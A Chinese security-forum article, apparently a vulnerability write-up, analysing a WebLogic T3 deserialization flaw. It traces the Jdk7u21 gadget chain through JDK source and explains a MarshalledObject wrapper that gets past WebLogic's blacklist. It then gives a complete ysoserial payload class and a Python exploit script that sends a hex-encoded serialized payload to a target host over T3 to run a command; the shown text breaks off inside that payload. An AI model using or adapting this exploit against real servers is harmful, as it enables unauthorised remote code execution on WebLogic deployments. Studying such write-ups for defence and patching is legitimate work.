问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞
本次攻防演习期间,有人发现Weblogic T3反序列化0day漏洞。可在原Jdk7u21POC基础上,加上java.rmi.MarshalledObject绕过黑名单,达到入侵目的,具体如下。
前言 == 本次攻防演习期间,有人发现Weblogic T3反序列化0day漏洞。可在原Jdk7u21POC基础上,加上java.rmi.MarshalledObject绕过黑名单,达到入侵目的,具体如下。 1. Jdk7u21的POC分析 ================ gadget如下: ```HashSet.readObject() HashMap.put() HashMap.hash() *.hashCode()【计算第一个对象hash值) HashSet.readObject() HashMap.put() HashMap.hash() *.hashcode() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.hashCodeImpl() HashMap.put() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() TemplatesImpl.getOutputProperties() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl$TransletClassLoader TemplatesImpl.getTransletInstance() Class.newInstance() Runtime.exec() ``` 1.1分析第一部分利用链 ------------ Jdk7u21的第一部分利用链如下。 ```php HashSet.readObject() HashMap.put() HashMap.hash() *.hashCode()【计算第一个对象hash值) HashSet.readObject() HashMap.put() HashMap.hash() *.hashcode() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.hashCodeImpl() HashMap.put() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() ``` 在对LinkedHashSet反序列化过程中,会进入HashSet.readObject() 函数,关键代码块如下。 ```php // Read in all elements in the proper order. for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } ``` 根据POC信息,可知该函数会依次读取LinkedHashSet的templates和proxy对象,并将它们加入map中。为什么需要加载两个对象呢?继续进入map.put() 函数,如下。 ```php public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; } ``` 该函数会计算存储进map的第一个对象Templates的Hash值,进入hash(key),如下。 ```php final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } ``` 程序会执行常规hash运算,注意,其中的k.hashCode()调用了系统函数;而如果构造动态代理,编写或寻找到合适代理类,则极有可能使多个存储进map的对象的hash值一致。返回至HashMap.put() 函数,继续分析,进入至indexFor(hash, table.length) 函数,如下。 ```php /** * Returns index for hash code h. */ static int indexFor(int h, int length) { return h & (length-1); } ``` table对象的原定义代码是table\[bucketIndex\] = new Entry<>(hash, key, value, e),负责保存map中每个对象及hash值等信息。此函数没有保存对象信息功能,仅仅负责统计返回当前对象在table中的索引值。随后返回至HashMap.put()函数。 随后,如当前对象不在table中,则不进入循环,而是进入addEntry(hash, key, value, i);且在此期间进入父类方法,最终当前对象被保存至table中,关键代码如下。 ```php void createEntry(int hash, K key, V value, int bucketIndex) { HashMap.Entry<K,V> old = table[bucketIndex]; Entry<K,V> e = new Entry<>(hash, key, value, old); table[bucketIndex] = e; e.addBefore(header); size++; } ``` 保存完第一个对象后,程序返回到HashSet.readObject()方法,并在 map 中添加第二个对象。如第二个对象是代理对象,则其hash值可能与前一个对象的hash值碰撞,从而有利于绕过代码的验证逻辑,便于未来开展入侵测试;如POC中存在第二个代理对象,则会继续进入map.put()。 进入hash(key),计算第二个代理对象的hash值,进入HashMap.hash()函数。 在POC中,第二个代理对象的代理类是AnnotationInvocationHandler,因此执行k.hashCode()时,会首先进入AnnotationInvocationHandler.invoke() 方法,如下。 ```php public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0; if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } } ``` 根据方法名进入this.hashCodeImpl();,相关的代码块如下。 ```php private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } private static int memberValueHashCode(Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); } else if (var1 == byte[].class) { return Arrays.hashCode((byte[])((byte[])var0)); } else if (var1 == char[].class) { return Arrays.hashCode((char[])((char[])var0)); } else if (var1 == double[].class) { return Arrays.hashCode((double[])((double[])var0)); } else if (var1 == float[].class) { return Arrays.hashCode((float[])((float[])var0)); } else if (var1 == int[].class) { return Arrays.hashCode((int[])((int[])var0)); } else if (var1 == long[].class) { return Arrays.hashCode((long[])((long[])var0)); } else if (var1 == short[].class) { return Arrays.hashCode((short[])((short[])var0)); } else { return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0)); } } ``` var3信息来自AnnotationInvocationHandler的memberValues成员变量:如var3中只有一条map信息,且该map的key为"f5a5a608"而value是加入map的第一个对象,则经调试分析发现,此时会发生两个对象hash值碰撞的情况。返回至HashMap.put() 继续分析。 在循环代码块中,存在关键比较逻辑,如下。 ```php if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } ``` 该逻辑首先会比较两个对象的hash值是否相等:根据POC可知两值相等,并且会执行至key.equals(k)。k是第一个对象,key是第二个代理对象,则会执行代理类invoke()方法。POC中的代理类是AnnotationInvocationHandler,则进入AnnotationInvocationHandler.invoke(),随后再进入this.equalsImpl(var3\[0\]),如下。 ```php private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } } ``` Var5表示代理类的第一个方法,var1表示前述的第一个对象,type成员变量必须是第一个成员变量。根据代码var5.invoke(var1)可知,此方法必须是无参的,而POC中代理类AnnotationInvocationHandler的第一个方法getOutputProperties()符合要求,因此进入TemplatesImpl.getOutputProperties(),如下。 ```php public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } } ``` 总体而言,第一部分链需同时满足如下关键条件: LinkedHashSet需要依次加入类对象和一个代理对象,设法使两个对象存在hash碰撞情况; 代理对象的代理类AnnotationInvocationHandler的第二个成员变量仅存储一个map结构数据,key为"f5a5a608",value是第一个类对象; 代理类AnnotationInvocationHandler的type成员变量必须是第一个类对象可转化的类;以及 代理类的待利用方法需要是无参的。 1.2分析第二部分利用链 ------------ Jdk7u21的第二部分利用链如下。 ```php TemplatesImpl.getOutputProperties() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl$TransletClassLoader TemplatesImpl.getTransletInstance() Class.newInstance() Runtime.exec() ``` 会在创建TransformerImpl 类过程中调用 getTransletInstance() 函数,函数信息如下。 ```php /** * This method generates an instance of the translet class that is * wrapped inside this Template. The translet instance will later * be wrapped inside a Transformer object. */ private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } ``` 从中可知\_name变量不能为null,否则程序中断;那么当\_class变量为null时,会调用defineTransletClasses()执行什么重要指令呢?进入defineTransletClasses(),如下。 ```php /** * Defines the translet class and auxiliary classes. * Returns a reference to the Class object that defines the main class */ private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } ``` 由此可知在当前情况下,\_bytecodes不能为null,否则程序报错终止;随后调用new TransletClassLoader(ObjectFactory.findClassLoader())加载信息,但具体可以加载什么呢?继续分析进入下面代码块。 ```php static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super(parent); } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } } ``` TransletClassLoader继承自ClassLoader,主要功能包括根据字节码文件加载类的defineClass函数,因此这里成功创建并返回了TransletClassLoader类加载器。返回到defineTransletClasses()函数继续分析。 loader即为创建的TransletClassLoader类加载器;\_class变量是自发创建的类数组,\_auxClasses变量是hash表;后续关键代码如下。 ```php for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } ``` 在循环代码块中,采用loader加载\_bytecodes\[i\],说明\_bytecodes变量是一个包含多个类的字节码数组;随后会将\_bytecodes\[i\]的父类与ABSTRACT\_TRANSLET(ABSTRACT\_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")比较,相等则\_transletIndex为i,否则将类信息保存至\_auxClasses变量。循环完毕后,根据语句可知\_transletIndex不能小于0,否则程序报错中断。因此,\_bytecodes中至少有一个类的父类是"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"。最终返回至getTransletInstance()函数继续分析,如下。 ```php // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ``` \_class变量包含多个加载的类,如果\_transletIndex变量是这些类中父类为ABSTRACT\_TRANSLET的类索引号,则会顺利实例化此类对象;然而,如果在此类构造函数中加入恶意代码则达到恶意利用的目的。 一言以蔽之,攻击者可以构造一个TemplatesImpl类对象,关键要求: 其\_name变量不能为null; \_class=null;以及 \_bytecodes变量是字节码类数组,包含一个父类是`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`的恶意类。 当前Jdk7u21的POC符合要求。 2. MarshalledObject分析 ===================== 由于Weblogic将上述调用链中的【com.sun.org.apache.xalan.internal.xsltc.trax】加入黑名单,因此库中的TemplatesImpl类等会被检测到,从而成功阻止Jdk7u21的POC遭入侵利用。新0day 的POC主要应用了MarshalledObject类绕过黑名单的检测,利用过程和Jdk7u21 POC类似:将MarshalledObject对象作为恶意类,在程序执行过程中调用到其get()方法,反序列化objBytes成员变量,而做到这一切只需预先在此成员变量中保存Jdk7u21 POC序列化数据即可。 分析MarshalledObject类。符合要求的无参函数get() 相关代码如下。 ```php public T get() throws IOException, ClassNotFoundException { if (objBytes == null) // must have been a null object return null; ByteArrayInputStream bin = new (objBytes); // locBytes is null if no annotations ByteArrayInputStream lin = (locBytes == null ? null : new ByteArrayInputStream(locBytes)); MarshalledObjectInputStream in = new MarshalledObjectInputStream(bin, lin); T obj = (T) in.readObject(); in.close(); return obj; } MarshalledObjectInputStream(InputStream objIn, InputStream locIn) throws IOException { super(objIn); this.locIn = (locIn == null ? null : new ObjectInputStream(locIn)); } ``` objBytes变量不能为null,程序可保存序列化后数据的objBytes变量【private byte\[\] objBytes = null;】至字节数组缓冲区bin变量,随后采用读入MarshalledObjectInputStream对象,最后进入in.reaObject()方法。 因此,可将序列化恶意类对象保存至objBytes变量,当程序执行至get()方法时,即会调用readObject()解析执行恶意类对象。 3. POC构造 ======== 团队成员设计实现的POC如下。 ```php package ysoserial.payloads; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.MarshalledObject; import java.util.HashMap; import java.util.LinkedHashSet; import java.util.Map; @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies() @Authors({ Authors.FROHOFF }) public class Jdk7u21_0 implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { final MarshalledObject templates = new MarshalledObject(null); // 序列化原始Jdk7u21obj Object obj = new Jdk7u21().getObject(command); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutput objectOutput = null; objectOutput = new ObjectOutputStream(byteArrayOutputStream); objectOutput.writeObject(obj); objectOutput.flush(); byte[] bytearray = byteArrayOutputStream.toByteArray(); Reflections.setFieldValue(templates, "objBytes", bytearray ); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); Map proxy = Gadgets.createProxy(tempHandler, Map.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); // Reflections.setFieldValue(templates, "locBytes", null); map.put(zeroHashCodeStr, templates); // swap in real object return set; } public static boolean isApplicableJavaVersion() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); } public static void main(final String[] args) throws Exception { PayloadRunner.run(Jdk7u21_0.class, args); } } ``` 4. 实验复现 ======= 在JDK7u21、Weblogic12.1.3.0上通过T3协议发送攻击脚本,成功在tmp文件夹创建文件,如下。 ![img](https://shs3.b.qianxin.com/butian_public/f445524027b689eaaaae8de46939bc3f70786452df659.jpg) EXP 如下: ```php \#!/usr/bin/python2 import socket import os import sys import struct import time if len(sys.argv) < 2: print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0]) sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) server_address = (sys.argv[1], int(sys.argv[2])) print '[+] Connecting to %s port %s' % server_address sock.connect(server_address) \# Send headers headers='t3 9.2.0\nAS:255\nHL:19\n\n' print 'sending "%s"' % headers sock.sendall(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data payloadObj='\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x4F\x62\x6A\x65\x63\x74\x7C\xBD\x1E\x97\xED\x63\xFC\x3E\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5B\x00\x08\x6C\x6F\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5B\x42\x5B\x00\x08\x6F\x62\x6A\x42\x79\x74\x65\x73\x71\x00\x7E\x00\x04\x78\x70\x00\x00\x00\x0D\x70\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x0B\x8D\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x49\x6D\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x06\x49\x00\x0D\x5F\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\x49\x6E\x64\x65\x78\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6C\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06\xA5\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x39\x0A\x00\x03\x00\x22\x07\x00\x37\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6E\x73\x6C\x65\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x39\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x54\x72\x61\x6E\x73\x6C\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x01\x00\x08\x3C\x63\x6C\x69\x6E\x69\x74\x3E\x01\x00\x11\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x07\x00\x2A\x01\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x01\x00\x15\x28\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x3B\x0C\x00\x2C\x00\x2D\x0A\x00\x2B\x00\x2E\x01\x00\x0F\x74\x6F\x75\x63\x68\x20\x2F\x74\x6D\x70\x2F\x30\x34\x32\x32\x08\x00\x30\x01\x00\x04\x65\x78\x65\x63\x01\x00\x27\x28\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x50\x72\x6F\x63\x65\x73\x73\x3B\x0C\x00\x32\x00\x33\x0A\x00\x2B\x00\x34\x01\x00\x0D\x53\x74\x61\x63\x6B\x4D\x61\x70\x54\x61\x62\x6C\x65\x01\x00\x1E\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x72\x31\x31\x37\x37\x34\x32\x34\x32\x39\x33\x31\x30\x33\x36\x38\x01\x00\x20\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x